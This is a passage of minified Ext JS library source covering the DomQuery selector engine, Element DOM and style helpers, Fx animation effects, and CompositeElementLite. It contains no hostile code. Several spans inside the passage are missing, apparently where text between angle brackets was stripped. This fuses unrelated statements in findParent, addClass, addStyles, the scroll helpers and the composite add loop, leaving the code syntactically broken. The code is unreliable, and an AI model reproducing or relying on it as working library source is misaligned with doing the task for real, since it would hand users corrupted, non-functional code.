" {1} ");'},{re:/^\:([\w-]+)(?:\(((?:[^\s>\/]*|.*?))\))?/,select:'n = byPseudo(n, "{1}", "{2}");'},{re:/^(?:([\[\{])(?:@)?([\w-]+)\s?(?:(=|.=)\s?['"]?(.*?)["']?)?[\]\}])/,select:'n = byAttribute(n, "{2}", "{4}", "{3}", "{1}");'},{re:/^#([\w-]+)/,select:'n = byId(n, "{1}");'},{re:/^@([\w-]+)/,select:'return {firstChild:{nodeValue:attrValue(n, "{1}")}};'}],operators:{"=":function(a,v){return a==v},"!=":function(a,v){return a!=v},"^=":function(a,v){return a&&a.substr(0,v.length)==v},"$=":function(a,v){return a&&a.substr(a.length-v.length)==v},"*=":function(a,v){return a&&a.indexOf(v)!==-1},"%=":function(a,v){return(a%v)==0},"|=":function(a,v){return a&&(a==v||a.substr(0,v.length+1)==v+"-")},"~=":function(a,v){return a&&(" "+a+" ").indexOf(" "+v+" ")!=-1}},pseudos:{"first-child":function(c){var r=[],ri=-1,n;for(var i=0,ci;ci=n=c[i];i++){while((n=n.previousSibling)&&n.nodeType!=1){}if(!n){r[++ri]=ci}}return r},"last-child":function(c){var r=[],ri=-1,n;for(var i=0,ci;ci=n=c[i];i++){while((n=n.nextSibling)&&n.nodeType!=1){}if(!n){r[++ri]=ci}}return r},"nth-child":function(c,a){var r=[],ri=-1,m=nthRe.exec(a=="even"&&"2n"||a=="odd"&&"2n+1"||!nthRe2.test(a)&&"n+"+a||a),f=(m[1]||1)-0,l=m[2]-0;for(var i=0,n;n=c[i];i++){var pn=n.parentNode;if(batch!=pn._batch){var j=0;for(var cn=pn.firstChild;cn;cn=cn.nextSibling){if(cn.nodeType==1){cn.nodeIndex=++j}}pn._batch=batch}if(f==1){if(l==0||n.nodeIndex==l){r[++ri]=n}}else{if((n.nodeIndex+l)%f==0){r[++ri]=n}}}return r},"only-child":function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(!prev(ci)&&!next(ci)){r[++ri]=ci}}return r},empty:function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var cns=ci.childNodes,j=0,cn,empty=true;while(cn=cns[j]){++j;if(cn.nodeType==1||cn.nodeType==3){empty=false;break}}if(empty){r[++ri]=ci}}return r},contains:function(c,v){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if((ci.textContent||ci.innerText||"").indexOf(v)!=-1){r[++ri]=ci}}return r},nodeValue:function(c,v){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(ci.firstChild&&ci.firstChild.nodeValue==v){r[++ri]=ci}}return r},checked:function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(ci.checked==true){r[++ri]=ci}}return r},not:function(c,ss){return Ext.DomQuery.filter(c,ss,true)},any:function(c,selectors){var ss=selectors.split("|"),r=[],ri=-1,s;for(var i=0,ci;ci=c[i];i++){for(var j=0;s=ss[j];j++){if(Ext.DomQuery.is(ci,s)){r[++ri]=ci;break}}}return r},odd:function(c){return this["nth-child"](c,"odd")},even:function(c){return this["nth-child"](c,"even")},nth:function(c,a){return c[a-1]||[]},first:function(c){return c[0]||[]},last:function(c){return c[c.length-1]||[]},has:function(c,ss){var s=Ext.DomQuery.select,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(s(ss,ci).length>0){r[++ri]=ci}}return r},next:function(c,ss){var is=Ext.DomQuery.is,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var n=next(ci);if(n&&is(n,ss)){r[++ri]=ci}}return r},prev:function(c,ss){var is=Ext.DomQuery.is,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var n=prev(ci);if(n&&is(n,ss)){r[++ri]=ci}}return r}}}}();Ext.query=Ext.DomQuery.select;Ext.util.DelayedTask=function(d,c,a){var e=this,g,b=function(){clearInterval(g);g=null;d.apply(c,a||[])};e.delay=function(i,l,k,h){e.cancel();d=l||d;c=k||c;a=h||a;g=setInterval(b,i)};e.cancel=function(){if(g){clearInterval(g);g=null}}};(function(){var h=document;Ext.Element=function(m,n){var o=typeof m=="string"?h.getElementById(m):m,p;if(!o){return null}p=o.id;if(!n&&p&&Ext.elCache[p]){return Ext.elCache[p].el}this.dom=o;this.id=p||Ext.id(o)};var d=Ext.DomHelper,e=Ext.Element,a=Ext.elCache;e.prototype={set:function(r,n){var p=this.dom,m,q,n=(n!==false)&&!!p.setAttribute;for(m in r){if(r.hasOwnProperty(m)){q=r[m];if(m=="style"){d.applyStyles(p,q)}else{if(m=="cls"){p.className=q}else{if(n){p.setAttribute(m,q)}else{p[m]=q}}}}}return this},defaultUnit:"px",is:function(m){return Ext.DomQuery.is(this.dom,m)},focus:function(p,o){var m=this,o=o||m.dom;try{if(Number(p)){m.focus.defer(p,null,[null,o])}else{o.focus()}}catch(n){}return m},blur:function(){try{this.dom.blur()}catch(m){}return this},getValue:function(m){var n=this.dom.value;return m?parseInt(n,10):n},addListener:function(m,p,o,n){Ext.EventManager.on(this.dom,m,p,o||this,n);return this},removeListener:function(m,o,n){Ext.EventManager.removeListener(this.dom,m,o,n||this);return this},removeAllListeners:function(){Ext.EventManager.removeAll(this.dom);return this},purgeAllListeners:function(){Ext.EventManager.purgeElement(this,true);return this},addUnits:function(m){if(m===""||m=="auto"||m===undefined){m=m||""}else{if(!isNaN(m)||!i.test(m)){m=m+(this.defaultUnit||"px")}}return m},load:function(n,o,m){Ext.Ajax.request(Ext.apply({params:o,url:n.url||n,callback:m,el:this.dom,indicatorText:n.indicatorText||""},Ext.isObject(n)?n:{}));return this},isBorderBox:function(){return Ext.isBorderBox||Ext.isForcedBorderBox||g[(this.dom.tagName||"").toLowerCase()]},remove:function(){var m=this,n=m.dom;if(n){delete m.dom;Ext.removeNode(n)}},hover:function(n,m,p,o){var q=this;q.on("mouseenter",n,p||q.dom,o);q.on("mouseleave",m,p||q.dom,o);return q},contains:function(m){return !m?false:Ext.lib.Dom.isAncestor(this.dom,m.dom?m.dom:m)},getAttributeNS:function(n,m){return this.getAttribute(m,n)},getAttribute:Ext.isIE?function(m,o){var p=this.dom,n=typeof p[o+":"+m];if(["undefined","unknown"].indexOf(n)==-1){return p[o+":"+m]}return p[m]}:function(m,n){var o=this.dom;return o.getAttributeNS(n,m)||o.getAttribute(n+":"+m)||o.getAttribute(m)||o[m]},update:function(m){if(this.dom){this.dom.innerHTML=m}return this}};var l=e.prototype;e.addMethods=function(m){Ext.apply(l,m)};l.on=l.addListener;l.un=l.removeListener;l.autoBoxAdjust=true;var i=/\d+(px|em|%|en|ex|pt|in|cm|mm|pc)$/i,c;e.get=function(n){var m,q,p;if(!n){return null}if(typeof n=="string"){if(!(q=h.getElementById(n))){return null}if(a[n]&&a[n].el){m=a[n].el;m.dom=q}else{m=e.addToCache(new e(q))}return m}else{if(n.tagName){if(!(p=n.id)){p=Ext.id(n)}if(a[p]&&a[p].el){m=a[p].el;m.dom=n}else{m=e.addToCache(new e(n))}return m}else{if(n instanceof e){if(n!=c){if(Ext.isIE&&(n.id==undefined||n.id=="")){n.dom=n.dom}else{n.dom=h.getElementById(n.id)||n.dom}}return n}else{if(n.isComposite){return n}else{if(Ext.isArray(n)){return e.select(n)}else{if(n==h){if(!c){var o=function(){};o.prototype=e.prototype;c=new o();c.dom=h}return c}}}}}}return null};e.addToCache=function(m,n){n=n||m.id;a[n]={el:m,data:{},events:{}};return m};e.data=function(n,m,o){n=e.get(n);if(!n){return null}var p=a[n.id].data;if(arguments.length==2){return p[m]}else{return(p[m]=o)}};function k(){if(!Ext.enableGarbageCollector){clearInterval(e.collectorThreadId)}else{var m,p,r,q;for(m in a){q=a[m];if(q.skipGC){continue}p=q.el;r=p.dom;if(!r||!r.parentNode||(!r.offsetParent&&!h.getElementById(m))){if(Ext.enableListenerCollection){Ext.EventManager.removeAll(r)}delete a[m]}}if(Ext.isIE){var n={};for(m in a){n[m]=a[m]}a=Ext.elCache=n}}}e.collectorThreadId=setInterval(k,30000);var b=function(){};b.prototype=e.prototype;e.Flyweight=function(m){this.dom=m};e.Flyweight.prototype=new b();e.Flyweight.prototype.isFlyweight=true;e._flyweights={};e.fly=function(o,m){var n=null;m=m||"_global";if(o=Ext.getDom(o)){(e._flyweights[m]=e._flyweights[m]||new e.Flyweight()).dom=o;n=e._flyweights[m]}return n};Ext.get=e.get;Ext.fly=e.fly;var g=Ext.isStrict?{select:1}:{input:1,select:1,textarea:1};if(Ext.isIE||Ext.isGecko){g.button=1}})();Ext.Element.addMethods(function(){var d="parentNode",b="nextSibling",c="previousSibling",e=Ext.DomQuery,a=Ext.get;return{findParent:function(n,m,h){var k=this.dom,g=document.body,l=0,i;if(Ext.isGecko&&Object.prototype.toString.call(k)=="[object XULElement]"){return null}m=m||50;if(isNaN(m)){i=Ext.getDom(m);m=Number.MAX_VALUE}while(k&&k.nodeType==1&&l "+g,this.dom);return h?i:a(i)},parent:function(g,h){return this.matchNode(d,d,g,h)},next:function(g,h){return this.matchNode(b,b,g,h)},prev:function(g,h){return this.matchNode(c,c,g,h)},first:function(g,h){return this.matchNode(b,"firstChild",g,h)},last:function(g,h){return this.matchNode(c,"lastChild",g,h)},matchNode:function(h,l,g,i){var k=this.dom[l];while(k){if(k.nodeType==1&&(!g||e.is(k,g))){return !i?a(k):k}k=k[h]}return null}}}());Ext.Element.addMethods(function(){var c=Ext.getDom,a=Ext.get,b=Ext.DomHelper;return{appendChild:function(d){return a(d).appendTo(this)},appendTo:function(d){c(d).appendChild(this.dom);return this},insertBefore:function(d){(d=c(d)).parentNode.insertBefore(this.dom,d);return this},insertAfter:function(d){(d=c(d)).parentNode.insertBefore(this.dom,d.nextSibling);return this},insertFirst:function(e,d){e=e||{};if(e.nodeType||e.dom||typeof e=="string"){e=c(e);this.dom.insertBefore(e,this.dom.firstChild);return !d?a(e):e}else{return this.createChild(e,this.dom.firstChild,d)}},replace:function(d){d=a(d);this.insertBefore(d);d.remove();return this},replaceWith:function(d){var e=this;if(d.nodeType||d.dom||typeof d=="string"){d=c(d);e.dom.parentNode.insertBefore(d,e.dom)}else{d=b.insertBefore(e.dom,d)}delete Ext.elCache[e.id];Ext.removeNode(e.dom);e.id=Ext.id(e.dom=d);Ext.Element.addToCache(e.isFlyweight?new Ext.Element(e.dom):e);return e},createChild:function(e,d,g){e=e||{tag:"div"};return d?b.insertBefore(d,e,g!==true):b[!this.dom.firstChild?"overwrite":"append"](this.dom,e,g!==true)},wrap:function(d,e){var g=b.insertBefore(this.dom,d||{tag:"div"},!e);g.dom?g.dom.appendChild(this.dom):g.appendChild(this.dom);return g},insertHtml:function(e,g,d){var h=b.insertHtml(e,this.dom,g);return d?Ext.get(h):h}}}());Ext.Element.addMethods(function(){var B=Ext.supports,h={},y=/(-[a-z])/gi,t=document.defaultView,E=/alpha\(opacity=(.*)\)/i,m=/^\s+|\s+$/g,C=Ext.Element,v=/\s+/,b=/\w/g,d="padding",c="margin",z="border",u="-left",r="-right",x="-top",p="-bottom",k="-width",s=Math,A="hidden",e="isClipped",l="overflow",o="overflow-x",n="overflow-y",D="originalClip",i={l:z+u+k,r:z+r+k,t:z+x+k,b:z+p+k},g={l:d+u,r:d+r,t:d+x,b:d+p},a={l:c+u,r:c+r,t:c+x,b:c+p},F=Ext.Element.data;function q(G,H){return H.charAt(1).toUpperCase()}function w(G){return h[G]||(h[G]=G=="float"?(B.cssFloat?"cssFloat":"styleFloat"):G.replace(y,q))}return{adjustWidth:function(G){var H=this;var I=(typeof G=="number");if(I&&H.autoBoxAdjust&&!H.isBorderBox()){G-=(H.getBorderWidth("lr")+H.getPadding("lr"))}return(I&&G<0)?0:G},adjustHeight:function(G){var H=this;var I=(typeof G=="number");if(I&&H.autoBoxAdjust&&!H.isBorderBox()){G-=(H.getBorderWidth("tb")+H.getPadding("tb"))}return(I&&G<0)?0:G},addClass:function(K){var L=this,J,G,I,H=[];if(!Ext.isArray(K)){if(typeof K=="string"&&!this.hasClass(K)){L.dom.className+=" "+K}}else{for(J=0,G=K.length;J5?I.toLowerCase():H)},setStyle:function(J,I){var G,H;if(typeof J!="object"){G={};G[J]=I;J=G}for(H in J){I=J[H];H=="opacity"?this.setOpacity(I):this.dom.style[w(H)]=I}return this},setOpacity:function(H,G){var K=this,I=K.dom.style;if(!G||!K.anim){if(Ext.isIE){var J=H<1?"alpha(opacity="+H*100+")":"",L=I.filter.replace(E,"").replace(m,"");I.zoom=1;I.filter=L+(L.length>0?" ":"")+J}else{I.opacity=H}}else{K.anim({opacity:{to:H}},K.preanim(arguments,1),null,0.35,"easeIn")}return K},clearOpacity:function(){var G=this.dom.style;if(Ext.isIE){if(!Ext.isEmpty(G.filter)){G.filter=G.filter.replace(E,"").replace(m,"")}}else{G.opacity=G["-moz-opacity"]=G["-khtml-opacity"]=""}return this},getHeight:function(I){var H=this,K=H.dom,J=Ext.isIE&&H.isStyle("display","none"),G=s.max(K.offsetHeight,J?0:K.clientHeight)||0;G=!I?G:G-H.getBorderWidth("tb")-H.getPadding("tb");return G<0?0:G},getWidth:function(H){var I=this,K=I.dom,J=Ext.isIE&&I.isStyle("display","none"),G=s.max(K.offsetWidth,J?0:K.clientWidth)||0;G=!H?G:G-I.getBorderWidth("lr")-I.getPadding("lr");return G<0?0:G},setWidth:function(H,G){var I=this;H=I.adjustWidth(H);!G||!I.anim?I.dom.style.width=I.addUnits(H):I.anim({width:{to:H}},I.preanim(arguments,1));return I},setHeight:function(G,H){var I=this;G=I.adjustHeight(G);!H||!I.anim?I.dom.style.height=I.addUnits(G):I.anim({height:{to:G}},I.preanim(arguments,1));return I},getBorderWidth:function(G){return this.addStyles(G,i)},getPadding:function(G){return this.addStyles(G,g)},clip:function(){var G=this,H=G.dom;if(!F(H,e)){F(H,e,true);F(H,D,{o:G.getStyle(l),x:G.getStyle(o),y:G.getStyle(n)});G.setStyle(l,A);G.setStyle(o,A);G.setStyle(n,A)}return G},unclip:function(){var G=this,I=G.dom;if(F(I,e)){F(I,e,false);var H=F(I,D);if(H.o){G.setStyle(l,H.o)}if(H.x){G.setStyle(o,H.x)}if(H.y){G.setStyle(n,H.y)}}return G},addStyles:function(N,M){var K=0,L=N.match(b),J,I,H,G=L.length;for(H=0;Ha.clientHeight||a.scrollWidth>a.clientWidth},scrollTo:function(a,b){this.dom["scroll"+(/top/i.test(a)?"Top":"Left")]=b;return this},getScroll:function(){var i=this.dom,h=document,a=h.body,c=h.documentElement,b,g,e;if(i==h||i==a){if(Ext.isIE&&Ext.isStrict){b=c.scrollLeft;g=c.scrollTop}else{b=window.pageXOffset;g=window.pageYOffset}e={left:b||(a?a.scrollLeft:0),top:g||(a?a.scrollTop:0)}}else{e={left:i.scrollLeft,top:i.scrollTop}}return e}});Ext.Element.VISIBILITY=1;Ext.Element.DISPLAY=2;Ext.Element.OFFSETS=3;Ext.Element.ASCLASS=4;Ext.Element.visibilityCls="x-hide-nosize";Ext.Element.addMethods(function(){var e=Ext.Element,q="opacity",k="visibility",g="display",d="hidden",o="offsets",l="asclass",n="none",a="nosize",b="originalDisplay",c="visibilityMode",h="isVisible",i=e.data,m=function(s){var r=i(s,b);if(r===undefined){i(s,b,r="")}return r},p=function(s){var r=i(s,c);if(r===undefined){i(s,c,r=1)}return r};return{originalDisplay:"",visibilityMode:1,setVisibilityMode:function(r){i(this.dom,c,r);return this},animate:function(s,u,t,v,r){this.anim(s,{duration:u,callback:t,easing:v},r);return this},anim:function(u,v,s,x,t,r){s=s||"run";v=v||{};var w=this,y=Ext.lib.Anim[s](w.dom,u,(v.duration||x)||0.35,(v.easing||t)||"easeOut",function(){if(r){r.call(w)}if(v.callback){v.callback.call(v.scope||w,w,v)}},w);v.anim=y;return y},preanim:function(r,s){return !r[s]?false:(typeof r[s]=="object"?r[s]:{duration:r[s+1],callback:r[s+2],easing:r[s+3]})},isVisible:function(){var r=this,t=r.dom,s=i(t,h);if(typeof s=="boolean"){return s}s=!r.isStyle(k,d)&&!r.isStyle(g,n)&&!((p(t)==e.ASCLASS)&&r.hasClass(r.visibilityCls||e.visibilityCls));i(t,h,s);return s},setVisible:function(u,r){var x=this,s,z,y,w,v=x.dom,t=p(v);if(typeof r=="string"){switch(r){case g:t=e.DISPLAY;break;case k:t=e.VISIBILITY;break;case o:t=e.OFFSETS;break;case a:case l:t=e.ASCLASS;break}x.setVisibilityMode(t);r=false}if(!r||!x.anim){if(t==e.ASCLASS){x[u?"removeClass":"addClass"](x.visibilityCls||e.visibilityCls)}else{if(t==e.DISPLAY){return x.setDisplayed(u)}else{if(t==e.OFFSETS){if(!u){x.hideModeStyles={position:x.getStyle("position"),top:x.getStyle("top"),left:x.getStyle("left")};x.applyStyles({position:"absolute",top:"-10000px",left:"-10000px"})}else{x.applyStyles(x.hideModeStyles||{position:"",top:"",left:""});delete x.hideModeStyles}}else{x.fixDisplay();v.style.visibility=u?"visible":d}}}}else{if(u){x.setOpacity(0.01);x.setVisible(true)}x.anim({opacity:{to:(u?1:0)}},x.preanim(arguments,1),null,0.35,"easeIn",function(){u||x.setVisible(false).setOpacity(1)})}i(v,h,u);return x},hasMetrics:function(){var r=this.dom;return this.isVisible()||(p(r)==e.VISIBILITY)},toggle:function(r){var s=this;s.setVisible(!s.isVisible(),s.preanim(arguments,0));return s},setDisplayed:function(r){if(typeof r=="boolean"){r=r?m(this.dom):n}this.setStyle(g,r);return this},fixDisplay:function(){var r=this;if(r.isStyle(g,n)){r.setStyle(k,d);r.setStyle(g,m(this.dom));if(r.isStyle(g,n)){r.setStyle(g,"block")}}},hide:function(r){if(typeof r=="string"){this.setVisible(false,r);return this}this.setVisible(false,this.preanim(arguments,0));return this},show:function(r){if(typeof r=="string"){this.setVisible(true,r);return this}this.setVisible(true,this.preanim(arguments,0));return this}}}());(function(){var z=null,B=undefined,l=true,u=false,k="setX",h="setY",a="setXY",o="left",m="bottom",t="top",n="right",r="height",g="width",i="points",x="hidden",A="absolute",v="visible",e="motion",p="position",s="easeOut",d=new Ext.Element.Flyweight(),w={},y=function(C){return C||{}},q=function(C){d.dom=C;d.id=Ext.id(C);return d},c=function(C){if(!w[C]){w[C]=[]}return w[C]},b=function(D,C){w[D]=C};Ext.enableFx=l;Ext.Fx={switchStatements:function(D,E,C){return E.apply(this,C[D])},slideIn:function(I,F){F=y(F);var K=this,H=K.dom,N=H.style,P,C,M,E,D,N,J,O,L,G;I=I||"t";K.queueFx(F,function(){P=q(H).getXY();q(H).fixDisplay();C=q(H).getFxRestore();M={x:P[0],y:P[1],0:P[0],1:P[1],width:H.offsetWidth,height:H.offsetHeight};M.right=M.x+M.width;M.bottom=M.y+M.height;q(H).setWidth(M.width).setHeight(M.height);E=q(H).fxWrap(C.pos,F,x);N.visibility=v;N.position=A;function Q(){q(H).fxUnwrap(E,C.pos,F);N.width=C.width;N.height=C.height;q(H).afterFx(F)}O={to:[M.x,M.y]};L={to:M.width};G={to:M.height};function R(V,S,W,T,Y,aa,ad,ac,ab,X,U){var Z={};q(V).setWidth(W).setHeight(T);if(q(V)[Y]){q(V)[Y](aa)}S[ad]=S[ac]="0";if(ab){Z.width=ab}if(X){Z.height=X}if(U){Z.points=U}return Z}J=q(H).switchStatements(I.toLowerCase(),R,{t:[E,N,M.width,0,z,z,o,m,z,G,z],l:[E,N,0,M.height,z,z,n,t,L,z,z],r:[E,N,M.width,M.height,k,M.right,o,t,z,z,O],b:[E,N,M.width,M.height,h,M.bottom,o,t,z,G,O],tl:[E,N,0,0,z,z,n,m,L,G,O],bl:[E,N,0,0,h,M.y+M.height,n,t,L,G,O],br:[E,N,0,0,a,[M.right,M.bottom],o,t,L,G,O],tr:[E,N,0,0,k,M.x+M.width,o,m,L,G,O]});N.visibility=v;q(E).show();arguments.callee.anim=q(E).fxanim(J,F,e,0.5,s,Q)});return K},slideOut:function(G,E){E=y(E);var I=this,F=I.dom,L=F.style,M=I.getXY(),D,C,J,K,H={to:0};G=G||"t";I.queueFx(E,function(){C=q(F).getFxRestore();J={x:M[0],y:M[1],0:M[0],1:M[1],width:F.offsetWidth,height:F.offsetHeight};J.right=J.x+J.width;J.bottom=J.y+J.height;q(F).setWidth(J.width).setHeight(J.height);D=q(F).fxWrap(C.pos,E,v);L.visibility=v;L.position=A;q(D).setWidth(J.width).setHeight(J.height);function N(){E.useDisplay?q(F).setDisplayed(u):q(F).hide();q(F).fxUnwrap(D,C.pos,E);L.width=C.width;L.height=C.height;q(F).afterFx(E)}function O(P,X,V,Y,T,W,S,U,R){var Q={};P[X]=P[V]="0";Q[Y]=T;if(W){Q[W]=S}if(U){Q[U]=R}return Q}K=q(F).switchStatements(G.toLowerCase(),O,{t:[L,o,m,r,H],l:[L,n,t,g,H],r:[L,o,t,g,H,i,{to:[J.right,J.y]}],b:[L,o,t,r,H,i,{to:[J.x,J.bottom]}],tl:[L,n,m,g,H,r,H],bl:[L,n,t,g,H,r,H,i,{to:[J.x,J.bottom]}],br:[L,o,t,g,H,r,H,i,{to:[J.x+J.width,J.bottom]}],tr:[L,o,m,g,H,r,H,i,{to:[J.right,J.y]}]});arguments.callee.anim=q(D).fxanim(K,E,e,0.5,s,N)});return I},puff:function(I){I=y(I);var G=this,H=G.dom,D=H.style,E,C,F;G.queueFx(I,function(){E=q(H).getWidth();C=q(H).getHeight();q(H).clearOpacity();q(H).show();F=q(H).getFxRestore();function J(){I.useDisplay?q(H).setDisplayed(u):q(H).hide();q(H).clearOpacity();q(H).setPositioning(F.pos);D.width=F.width;D.height=F.height;D.fontSize="";q(H).afterFx(I)}arguments.callee.anim=q(H).fxanim({width:{to:q(H).adjustWidth(E*2)},height:{to:q(H).adjustHeight(C*2)},points:{by:[-E*0.5,-C*0.5]},opacity:{to:0},fontSize:{to:200,unit:"%"}},I,e,0.5,s,J)});return G},switchOff:function(G){G=y(G);var E=this,F=E.dom,C=F.style,D;E.queueFx(G,function(){q(F).clearOpacity();q(F).clip();D=q(F).getFxRestore();function H(){G.useDisplay?q(F).setDisplayed(u):q(F).hide();q(F).clearOpacity();q(F).setPositioning(D.pos);C.width=D.width;C.height=D.height;q(F).afterFx(G)}q(F).fxanim({opacity:{to:0.3}},z,z,0.1,z,function(){q(F).clearOpacity();(function(){q(F).fxanim({height:{to:1},points:{by:[0,q(F).getHeight()*0.5]}},G,e,0.3,"easeIn",H)}).defer(100)})});return E},highlight:function(E,I){I=y(I);var G=this,H=G.dom,C=I.attr||"backgroundColor",D={},F;G.queueFx(I,function(){q(H).clearOpacity();q(H).show();function J(){H.style[C]=F;q(H).afterFx(I)}F=H.style[C];D[C]={from:E||"ffff9c",to:I.endColor||q(H).getColor(C)||"ffffff"};arguments.callee.anim=q(H).fxanim(D,I,"color",1,"easeIn",J)});return G},frame:function(C,F,I){I=y(I);var E=this,H=E.dom,D,G;E.queueFx(I,function(){C=C||"#C3DAF9";if(C.length==6){C="#"+C}F=F||1;q(H).show();var M=q(H).getXY(),K={x:M[0],y:M[1],0:M[0],1:M[1],width:H.offsetWidth,height:H.offsetHeight},J=function(){D=q(document.body||document.documentElement).createChild({style:{position:A,"z-index":35000,border:"0px solid "+C}});return D.queueFx({},L)};arguments.callee.anim={isAnimated:true,stop:function(){F=0;D.stopFx()}};function L(){var N=Ext.isBorderBox?2:1;G=D.anim({top:{from:K.y,to:K.y-20},left:{from:K.x,to:K.x-20},borderWidth:{from:0,to:10},opacity:{from:1,to:0},height:{from:K.height,to:K.height+20*N},width:{from:K.width,to:K.width+20*N}},{duration:I.duration||1,callback:function(){D.remove();--F>0?J():q(H).afterFx(I)}});arguments.callee.anim={isAnimated:true,stop:function(){G.stop()}}}J()});return E},pause:function(E){var D=this.dom,C;this.queueFx({},function(){C=setTimeout(function(){q(D).afterFx({})},E*1000);arguments.callee.anim={isAnimated:true,stop:function(){clearTimeout(C);q(D).afterFx({})}}});return this},fadeIn:function(E){E=y(E);var C=this,D=C.dom,F=E.endOpacity||1;C.queueFx(E,function(){q(D).setOpacity(0);q(D).fixDisplay();D.style.visibility=v;arguments.callee.anim=q(D).fxanim({opacity:{to:F}},E,z,0.5,s,function(){if(F==1){q(D).clearOpacity()}q(D).afterFx(E)})});return C},fadeOut:function(F){F=y(F);var D=this,E=D.dom,C=E.style,G=F.endOpacity||0;D.queueFx(F,function(){arguments.callee.anim=q(E).fxanim({opacity:{to:G}},F,z,0.5,s,function(){if(G==0){Ext.Element.data(E,"visibilityMode")==Ext.Element.DISPLAY||F.useDisplay?C.display="none":C.visibility=x;q(E).clearOpacity()}q(E).afterFx(F)})});return D},scale:function(C,D,E){this.shift(Ext.apply({},E,{width:C,height:D}));return this},shift:function(E){E=y(E);var D=this.dom,C={};this.queueFx(E,function(){for(var F in E){if(E[F]!=B){C[F]={to:E[F]}}}C.width?C.width.to=q(D).adjustWidth(E.width):C;C.height?C.height.to=q(D).adjustWidth(E.height):C;if(C.x||C.y||C.xy){C.points=C.xy||{to:[C.x?C.x.to:q(D).getX(),C.y?C.y.to:q(D).getY()]}}arguments.callee.anim=q(D).fxanim(C,E,e,0.35,s,function(){q(D).afterFx(E)})});return this},ghost:function(F,D){D=y(D);var H=this,E=H.dom,K=E.style,I={opacity:{to:0},points:{}},L=I.points,C,J,G;F=F||"b";H.queueFx(D,function(){C=q(E).getFxRestore();J=q(E).getWidth();G=q(E).getHeight();function M(){D.useDisplay?q(E).setDisplayed(u):q(E).hide();q(E).clearOpacity();q(E).setPositioning(C.pos);K.width=C.width;K.height=C.height;q(E).afterFx(D)}L.by=q(E).switchStatements(F.toLowerCase(),function(O,N){return[O,N]},{t:[0,-G],l:[-J,0],r:[J,0],b:[0,G],tl:[-J,-G],bl:[-J,G],br:[J,G],tr:[J,-G]});arguments.callee.anim=q(E).fxanim(I,D,e,0.5,s,M)});return H},syncFx:function(){var C=this;C.fxDefaults=Ext.apply(C.fxDefaults||{},{block:u,concurrent:l,stopFx:u});return C},sequenceFx:function(){var C=this;C.fxDefaults=Ext.apply(C.fxDefaults||{},{block:u,concurrent:u,stopFx:u});return C},nextFx:function(){var C=c(this.dom.id)[0];if(C){C.call(this)}},hasActiveFx:function(){return c(this.dom.id)[0]},stopFx:function(C){var D=this,F=D.dom.id;if(D.hasActiveFx()){var E=c(F)[0];if(E&&E.anim){if(E.anim.isAnimated){b(F,[E]);E.anim.stop(C!==undefined?C:l)}else{b(F,[])}}}return D},beforeFx:function(C){if(this.hasActiveFx()&&!C.concurrent){if(C.stopFx){this.stopFx();return l}return u}return l},hasFxBlock:function(){var C=c(this.dom.id);return C&&C[0]&&C[0].block},queueFx:function(F,C){var D=q(this.dom);if(!D.hasFxBlock()){Ext.applyIf(F,D.fxDefaults);if(!F.concurrent){var E=D.beforeFx(F);C.block=F.block;c(D.dom.id).push(C);if(E){D.nextFx()}}else{C.call(D)}}return D},fxWrap:function(I,G,E){var F=this.dom,D,C;if(!G.wrap||!(D=Ext.getDom(G.wrap))){if(G.fixPosition){C=q(F).getXY()}var H=document.createElement("div");H.style.visibility=E;D=F.parentNode.insertBefore(H,F);q(D).setPositioning(I);if(q(D).isStyle(p,"static")){q(D).position("relative")}q(F).clearPositioning("auto");q(D).clip();D.appendChild(F);if(C){q(D).setXY(C)}}return D},fxUnwrap:function(D,G,F){var E=this.dom;q(E).clearPositioning();q(E).setPositioning(G);if(!F.wrap){var C=q(D).dom.parentNode;C.insertBefore(E,D);q(D).remove()}},getFxRestore:function(){var C=this.dom.style;return{pos:this.getPositioning(),width:C.width,height:C.height}},afterFx:function(D){var C=this.dom,E=C.id;if(D.afterStyle){q(C).setStyle(D.afterStyle)}if(D.afterCls){q(C).addClass(D.afterCls)}if(D.remove==l){q(C).remove()}if(D.callback){D.callback.call(D.scope,q(C))}if(!D.concurrent){c(E).shift();q(C).nextFx()}},fxanim:function(F,G,D,H,E,C){D=D||"run";G=G||{};var I=Ext.lib.Anim[D](this.dom,F,(G.duration||H)||0.35,(G.easing||E)||s,C,this);G.anim=I;return I}};Ext.Fx.resize=Ext.Fx.scale;Ext.Element.addMethods(Ext.Fx)})();Ext.CompositeElementLite=function(b,a){this.elements=[];this.add(b,a);this.el=new Ext.Element.Flyweight()};Ext.CompositeElementLite.prototype={isComposite:true,getElement:function(a){var b=this.el;b.dom=a;b.id=a.id;return b},transformElement:function(a){return Ext.getDom(a)},getCount:function(){return this.elements.length},add:function(d,b){var e=this,g=e.elements;if(!d){return this}if(typeof d=="string"){d=Ext.Element.selectorFunction(d,b)}else{if(d.isComposite){d=d.elements}else{if(!Ext.isIterable(d)){d=[d]}}}for(var c=0,a=d.length;c-1){c=Ext.getDom(c);if(a){g=this.elements[b];g.parentNode.insertBefore(c,g);Ext.removeNode(g)}this.elements.splice(b,1,c)}return this},clear:function(){this.elements=[]}};Ext.CompositeElementLite.prototype.on=Ext.CompositeElementLite.prototype.addListener;Ext.CompositeElementLite.importElementMethods=function(){var c,b=Ext.Element.prototype,a=Ext.CompositeElementLite.prototype;for(c in b){if(typeof b[c]=="function"){(function(d){a[d]=a[d]||function(){return this.invoke(d,arguments)}}).call(a,c)}}};Ext.CompositeElementLite.importElementMethods();if(Ext.DomQuery){Ext.Element.selectorFunction=Ext.DomQuery.select}Ext.Element.select=function(a,b){var c;if(typeof a=="string"){c=Ext.Element.selectorFunction(a,b)}else{if(a.length!==undefined){c=a}else{throw"Invalid selector"}}return new Ext.CompositeElementLite(c)};Ext.select=Ext.Element.select;(function(){var b="beforerequest",e="requestcomplete",d="requestexception",h=undefined,c="load",i="POST",a="GET",g=window;Ext.data.Connection=function(k){Ext.apply(this,k);this.addEvents(b,e,d);Ext.data.Connection.superclass.constructor.call(this)};Ext.extend(Ext.data.Connection,Ext.util.Observable,{timeout:30000,autoAbort:false,disableCaching:true,disableCachingParam:"_dc",request:function(q){var 